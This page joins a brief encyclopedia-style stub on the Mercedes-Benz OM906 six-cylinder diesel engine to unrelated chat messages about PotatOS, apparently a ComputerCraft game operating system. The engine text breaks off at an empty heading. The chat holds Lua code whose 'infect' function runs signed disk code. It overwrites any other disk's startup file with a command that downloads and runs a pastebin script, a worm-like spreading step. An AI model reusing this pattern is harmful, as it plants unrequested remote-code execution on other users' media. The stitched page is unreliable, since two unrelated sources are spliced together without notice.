Mercedes-Benz OM906 engine

The Mercedes-Benz OM906 is a 6.4 liter (6,374cc) Straight-6 (I6) Overhead camshaft (SOHC) Diesel engine with 3 valves per cylinder.[1][2] It is related to the Straight-4 OM904 engine which has two cylinders chopped off, while the bore and stroke remain unchanged[3].

It launched in 1996 and had a Unit injector system to deliver fuel to every cylinder. It used a twin-scroll Turbocharger that was giving ~1-1.6atm of boost[4].

Torque Curve


gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.
